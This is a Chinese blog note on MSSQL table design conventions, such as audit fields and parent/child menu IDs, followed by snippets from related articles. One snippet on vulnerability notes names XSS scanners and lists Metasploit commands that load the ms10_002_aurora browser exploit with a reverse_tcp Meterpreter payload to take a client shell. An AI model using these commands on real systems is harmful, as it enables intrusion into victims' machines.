[随手记]笔记+经验集

2015年9月11日22时04分37秒 6 新增

1. 数据库建表 MSSQL

 常用字段  数据类型  说明
 AddTime  char(19)  添加记录时间,Convert(char(19),GetDate(),120),日期 + 时间
 AddMaker  varchar(30)  添加记录的userid
 EditTime  char(19)  修改记录时间,Convert(char(19),GetDate(),120),日期 + 时间
 EditMaker  varchar(30)  修改记录的userid
 IsEnable  tinyint  记录是否可用,1 可用,使用范围 0~127
 _type  char(1)  与 IsEnable 类似,表示记录类型,通常使用 A-Z
 _status  char(1)  与 IsEnable 类似,表示记录类型,通常使用 A-Z
 _version  tinyint  记录版本,用时间表示。也可以考虑 timestamp
 ID  int  primary key identity(1,1) 自增主键
 menuid  smallint  主键,唯一标识,使用范围 1~32766
 parentid  smallint  关联 menuid 用,使用范围 0~32000

目前制作的程序并没有过多使用量,单部门单表一个月记录 5000条以内,用 int 做自增主键够用。

menuid 、parentid 主要用于父子级关联

手动维护时 parentid 是 10 的倍数,比如

menuid parentid
11 10
12 10
13 10
21 20
22 20
31 30
32 30

当然,代码自动生成 menuid 、parentid 时就没这么直观了。

目前没有遇到过数据库迁移,用不上 GUID 也不喜欢看那么长的字符串。

时间: 2024-10-09 14:41:26

[随手记]笔记+经验集的相关文章

SQL Server技术内幕笔记合集

SQL Server技术内幕笔记合集 发这一篇文章主要是方便大家找到我的笔记入口,方便大家o(∩_∩)o Microsoft SQL Server 6.5 技术内幕 笔记http://www.cnblogs.com/lyhabc/articles/3914213.html Microsoft SQL Server 2005技术内幕:T-SQL查询笔记http://www.cnblogs.com/lyhabc/articles/3912608.html Microsoft SQL Server 2

shell 脚本实战笔记(6)--集群环境配置检测

1). 背景: 集群部署的时候, 需要一致的配置和环境设置. 对于虚拟机集群, 可以借助镜像拷贝, 复制和还原集群机器. 对与物理机集群而言, 则不一样, 如果机器一多, 多人去操作和配置, 对于成熟精干的团队还好, 对于不熟悉环境的小团队, 由于水平的参差不齐, 往往会导致不一致的环境. 因此无论如何, 写脚本进行自动化的配置和环境校验总是最佳实践. 2). 假设应用场景:*) 系统环境: 安装CDH5, 集群规模为16台机器, 每台机器16CPU, 内存16G, 2块SATA盘共500G,

shell 脚本实战笔记(3)--集群机器的时间同步设置

背景: 有些分布式服务(比如HBase服务), 依赖于系统时间戳, 如果集群各个节点, 系统时间不一致, 导致服务出现诡异的情况. 解决方案: 那如何同步集群各个节点之间的时间? 采用NTP(Network Time Protocol)方式来实现, 选择一台机器, 作为集群的时间同步服务器, 然后分别配置服务端和集群其他机器 1.NTP服务端 *) 安装ntp服务 yum install ntp *) 配置/etc/ntp.conf 这边采用本地机器作为时间的原点 注释server列表 #ser

Dubbo -- 系统学习 笔记 -- 示例 -- 集群容错

Dubbo -- 系统学习 笔记 -- 目录 示例 想完整的运行起来,请参见:快速启动,这里只列出各种场景的配置方式 集群容错 在集群调用失败时,Dubbo提供了多种容错方案,缺省为failover重试. 各节点关系: 这里的Invoker是Provider的一个可调用Service的抽象,Invoker封装了Provider地址及Service接口信息. Directory代表多个Invoker,可以把它看成List<Invoker>,但与List不同的是,它的值可能是动态变化的,比如注册中

技术经验集

JAVA EE架构师 需要具备的知识 1.构架师胚胎(程序员) 学习的知识是语言基础.设计基础.通信基础等,应该在大学完成,内容包括java.c.c++.uml.RUP.XML.socket通信(通信协议)--学习搭建应用系统所必须的原材料. 2.构架师萌芽(高级程序员) 学习分布式系统.组建等内容,可以在大学或第一年工作时间接触,包括分布式系统原理.ejb.corba.com/com+.webservice(研究生可以研究网络计算机.高性能并发处理等内容) 3.构架师幼苗(设计师) 应该在掌握

股票大作手操盘术-读书笔记上集

我有个习惯是读完一本书之后,如果有时间的话,都要做个笔记.本文是在我读完杰西.利弗莫尔的<股票大作手操盘术>所做的笔记. 一 投机,是一项挑战 投机是一项事业,而不是一场赌博,不要妄想一直盈利. 二 投机四部曲 1. 先形成自己对某只股票的观点(涨势或跌势).(怎么形成:新闻,直觉,经验,分析投资者的心理,市场预期,最重要的是股票的近期的历史行情记录.) 2. 让市场的表现验证你的观点. 3. 最最重要的是选好进场时机. 4. 当你已经进场,要密切留意市场发出的危险信号. 译者(丁圣元)的理解

其他漏洞笔记合集

xss跨站漏洞纯手打笔记(基础) XSS漏洞扫描 常用工具: wvs 椰树 safe3 Xelenium w3af vega xss扫描插件+burp Beef: beef+msf拿客户端shell(ie6 xp) use windows/browser/ms10_002_aurora set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp set SRVHOST (my ip)

鸟哥的私房菜Linux视频教程学习笔记(第二集)

第2集:Linux的档案属性与目录配置 主要内容:1 用户与用户主2 Linux文件权限3 Linux目录配置4 Linux支持的文件系统 Linux文件权限举例: 用 ls -l 命令之后看到:(用 ls -la 命令查看当前目录下所有文档,包括隐藏了的) drwxr-xr-x 2 root root 3072 Apr 23 11:12 bin[档案属性] [连结数] [拥有者] [所属群组] [文件容量] [修改日期] [文件名] 关于档案属性的解释:档案属性共有10个字符来描述:比如:-r

Elasticsearch 学习笔记2 集群和数据

集群术语 - 节点: 一个elasticsearch实例(一个elasticsearch进程)就是一个节点 - 集群: 由一个或者多个elasticsearch节点组成 - 主节点: 临时管理集群级别变更:新建/删除索引,新建/移除节点,不参与文档级别变更或者搜索,当数据量增长时,不会成为集群瓶颈,集群只有一个主节点,通过各个节点选举产生 - 分片(shard):是最小级别工作单元,它只是保存了索引中所有数据的一部分 - 主分片:每个文档属于一个单独主分片,主分片数量可以在创建索引时指定,默认个